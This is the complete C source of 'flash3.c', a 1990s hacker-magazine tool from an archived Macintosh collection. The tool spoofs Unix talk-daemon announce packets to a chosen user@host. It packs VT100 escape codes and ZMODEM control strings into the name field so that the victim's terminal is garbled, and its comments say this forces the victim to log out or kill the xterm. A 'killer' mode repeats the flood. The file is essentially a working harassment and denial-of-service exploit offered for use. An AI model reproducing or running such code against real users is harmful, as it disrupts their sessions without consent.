home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / HackAddict™ Magazine / HA 1-12 / HackAddict05.sit / HackAddict 5 ƒ / Files / UnixCPrograms / flash3.c < prev    next >
C/C++ Source or Header  |  1995-08-05  |  7KB  |  299 lines

  1. /* flash3.c */
  2.  
  3. /* 
  4.    Modified from the original by Vassago. Superflash mods unknown.
  5.    Try the PhoEniX FTP Site: wentz21.reslife.okstate.edu in /pub.
  6. */
  7.  
  8. /* 
  9.     This little program is intended to quickly mess up a user's
  10.     terminal by issuing a talk request to that person and sending
  11.     vt100 escape characters that force the user to logout or kill
  12.     his/her xterm in order to regain a sane view of the text.
  13.     It the user's message mode is set to off (mesg n) he/she will
  14.     be unharmed. 
  15.  
  16.     Try compiling with: gcc -o flash flash3.c
  17.  
  18.     Usage: flash user@host [<level>]
  19.    
  20.     Level is either the number or the word for these:
  21.       1)  BASIC  - Old flash, no zmodem. 
  22.       2)  ZMODEM - Old with ZModem.
  23.       3)  KILLER - 99 ZModem flashes. 
  24. */
  25.  
  26. #include <sys/types.h>
  27. #include <sys/socket.h>
  28. #include <netinet/in.h>
  29. #include <netdb.h>
  30. #include <stdio.h>
  31. #include <strings.h>
  32. #include <string.h>
  33. #include <ctype.h>
  34.  
  35. #define BASIC  1
  36. #define ZMODEM 2
  37. #define KILLER 3
  38.  
  39. #define FIRST "\033(0\033#8" 
  40. #define SECOND "\033[1;3r"
  41. #define THIRD  "\033[1;5m\033(0"
  42. #define FOURTH "**\030B00"
  43. #define FIFTH  "\033**EMSI_IRQ8E08"
  44.  
  45. /* Comment this to remove the debugging message... */
  46. #define INFOMESSAGE
  47.  
  48. /* this should really be in an include file..  */
  49.  
  50. #define OLD_NAME_SIZE 9
  51. #define NAME_SIZE    12
  52. #define TTY_SIZE     16 
  53. typedef struct {
  54.     char    type;
  55.     char    l_name[OLD_NAME_SIZE];
  56.     char    r_name[OLD_NAME_SIZE];
  57.     char    filler;
  58.     u_long  id_num;
  59.     u_long  pid;
  60.     char    r_tty[TTY_SIZE];
  61.     struct  sockaddr_in addr;
  62.     struct  sockaddr_in ctl_addr;
  63. } OLD_MSG;
  64.  
  65. typedef struct {
  66.     u_char  vers;
  67.     char    type;
  68.     u_short filler;
  69.     u_long  id_num;
  70.     struct  sockaddr_in addr;
  71.     struct  sockaddr_in ctl_addr;
  72.     long    pid;
  73.     char    l_name[NAME_SIZE];
  74.     char    r_name[NAME_SIZE];
  75.     char    r_tty[TTY_SIZE];
  76. } CTL_MSG;
  77.  
  78. int seed = 0x2837;
  79.  
  80. #define TALK_VERSION    1               /* protocol version */
  81.  
  82. /* Types */
  83. #define LEAVE_INVITE    0
  84. #define LOOK_UP         1
  85. #define DELETE          2
  86. #define ANNOUNCE        3
  87.  
  88. int     current = 1;    /* current id..  this to avoid duplications */
  89.  
  90. struct sockaddr_in *getinaddr(char *hostname, u_short port)
  91. {
  92. static  struct sockaddr    addr;
  93. struct  sockaddr_in *address;
  94. struct  hostent     *host;
  95.  
  96. address = (struct sockaddr_in *)&addr;
  97. (void) bzero( (char *)address, sizeof(struct sockaddr_in) );
  98. /* fill in the easy fields */
  99. address->sin_family = AF_INET;
  100. address->sin_port = htons(port);
  101. /* first, check if the address is an ip address */
  102. address->sin_addr.s_addr = inet_addr(hostname);
  103. if ( (int)address->sin_addr.s_addr == -1)
  104.     {
  105.     /* it wasn't.. so we try it as a long host name */
  106.     host = gethostbyname(hostname);
  107.     if (host)
  108.         {
  109.         /* wow.  It's a host name.. set the fields */
  110.         /* ?? address->sin_family = host->h_addrtype; */
  111.         bcopy( host->h_addr, (char *)&address->sin_addr,
  112.             host->h_length);
  113.         }
  114.     else
  115.         {
  116.         /* oops.. can't find it.. */
  117.         puts("Flash aborted, could not find address."); 
  118.         exit(-1);
  119.         return (struct sockaddr_in *)0;
  120.         }
  121.     }
  122. /* all done. */
  123. return (struct sockaddr_in *)address;
  124. }
  125.  
  126. SendTalkPacket(struct sockaddr_in *target, char *p, int psize) 
  127. {
  128. int     s;
  129. struct sockaddr sample; /* not used.. only to get the size */
  130.  
  131. s = socket(AF_INET, SOCK_DGRAM, 0);
  132. sendto( s, p, psize, 0,(struct sock_addr *)target, sizeof(sample) ); 
  133.  
  134.  
  135. new_ANNOUNCE(char *hostname, char *remote, char *local)
  136. {
  137. CTL_MSG  packet; 
  138. struct   sockaddr_in  *address;
  139.  
  140. /* create a packet */
  141. address = getinaddr(hostname, 666 );  
  142. address->sin_family = htons(AF_INET); 
  143.  
  144. bzero( (char *)&packet, sizeof(packet) );
  145. packet.vers   = TALK_VERSION; 
  146. packet.type   = ANNOUNCE;   
  147. packet.pid    = getpid();
  148. packet.id_num = current;
  149. bcopy( (char *)address, (char *)&packet.addr, sizeof(packet.addr ) ); 
  150. bcopy( (char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr));
  151. strncpy( packet.l_name, local, NAME_SIZE); 
  152. strncpy( packet.r_name, remote, NAME_SIZE); 
  153. strncpy( packet.r_tty, "", 1); 
  154.  
  155. SendTalkPacket( getinaddr(hostname, 518), (char *)&packet, sizeof(packet) ); 
  156. }
  157.  
  158. old_ANNOUNCE(char *hostname, char *remote, char *local)
  159. {
  160. OLD_MSG  packet;
  161. struct   sockaddr_in  *address;
  162.  
  163. /* create a packet */
  164. address = getinaddr(hostname, 666 );
  165. address->sin_family = htons(AF_INET);
  166.  
  167. bzero( (char *)&packet, sizeof(packet) );
  168. packet.type   = ANNOUNCE;
  169. packet.pid    = getpid();
  170. packet.id_num = current;
  171. bcopy( (char *)address, (char *)&packet.addr, sizeof(packet.addr ) );
  172. bcopy( (char *)address, (char *)&packet.ctl_addr, sizeof(packet.ctl_addr));
  173. strncpy( packet.l_name, local, NAME_SIZE);
  174. strncpy( packet.r_name, remote, NAME_SIZE);
  175. strncpy( packet.r_tty, "", 1);
  176.  
  177. SendTalkPacket( getinaddr(hostname, 517), (char *)&packet, sizeof(packet) );
  178. }
  179.  
  180. int rnd()
  181. {
  182.   seed *=0x1243;
  183.   seed = seed & 0xFFFF;
  184.   seed +=1;
  185.   while(seed>10000)seed-=10000;
  186.   return(seed);
  187. }
  188.  
  189.  
  190. pop(char *hostname, char *username, char *flashstring)
  191. {
  192.   char newflashstr[80];
  193.   int e = rnd();
  194.   sprintf(newflashstr,"%d%s",e,flashstring); 
  195.   new_ANNOUNCE(hostname, username, newflashstr); 
  196.   old_ANNOUNCE(hostname, username, newflashstr);
  197. }    
  198.  
  199. flash(int type, char *hostname, char *username)
  200. {
  201.      char firestring[10];
  202.      int x,y;
  203.  
  204.      current=0;
  205.      if (type == 3) y = 14;
  206.      else y = 1;
  207.  
  208.      for(x=0;x<y;x++)    
  209.      {
  210.     current++;
  211.     pop(hostname, username, FIRST);
  212.     current++; 
  213.     pop(hostname, username, SECOND);
  214.     current++;
  215.     pop(hostname, username, THIRD); 
  216.     if(type>1)
  217.     {
  218.       current++;
  219.       pop(hostname, username, FOURTH); 
  220.       current++;
  221.       pop(hostname, username, FIFTH); 
  222.       current++;
  223.       pop(hostname, username, FOURTH);
  224.     }
  225.     current++;
  226.     pop(hostname, username, FIRST); 
  227.      }
  228.     return(current);
  229. }
  230.  
  231. GetType(char *TypeStr)
  232. {
  233.     if (strcmp(TypeStr,"basic")==0)
  234.         return(1);
  235.     else if (strcmp(TypeStr,"zmodem")==0)
  236.         return(2);
  237.     else if (strcmp(TypeStr,"killer")==0)
  238.         return(3);
  239.     else if (strcmp(TypeStr,"1")==0)
  240.         return(1);
  241.     else if (strcmp(TypeStr,"2")==0)
  242.         return(2);
  243.     else if (strcmp(TypeStr,"3")==0)
  244.         return(3);
  245. }    
  246.  
  247. main(int argc, char *argv[])
  248. {
  249.     char    *hostname, *username; 
  250.     int     pid,type,name;
  251.  
  252.  
  253.     if ( (pid = fork()) == -1)  
  254.         {
  255.         perror("fork()");
  256.         exit(-1);
  257.         }
  258.     if ( !pid )
  259.         {
  260.         exit(0);
  261.         }
  262.     if (argc < 2) { 
  263.         puts("USAGE: flash user@host [<flash type>]");
  264.         puts("Types are: 1) basic, 2) zmodem, 3) killer.");
  265.         puts("Default flash type is zmodem.");
  266.         exit(5);
  267.     }
  268.     if (argc >= 3) {
  269.         type=GetType(argv[argc-1]);
  270.         if(type<1||type>3)type=ZMODEM;
  271.     }
  272.     else type=ZMODEM;   /* default */
  273.  
  274.     for(name=1; name<argc-1; name++)
  275.     {
  276.     username = argv[name]; 
  277.     if ( (hostname = (char *)strchr(username, '@')) == NULL )       
  278.         {
  279.         puts("Aborted, invalid name.  ");
  280.         exit(-1);
  281.         }
  282.     *hostname = '\0'; 
  283.     hostname++; 
  284.  
  285.     if (*username == '~') 
  286.         username++; 
  287. #ifdef INFOMESSAGE
  288.             printf("Sending a type #%d flash to %s@%s. (%d messages)\n",
  289.             type,username,hostname,
  290.             flash(type,hostname,username));
  291. #else
  292.     flash(type,hostname,username);
  293. #endif
  294.     sleep(1);
  295.     }
  296. }
  297.  
  298.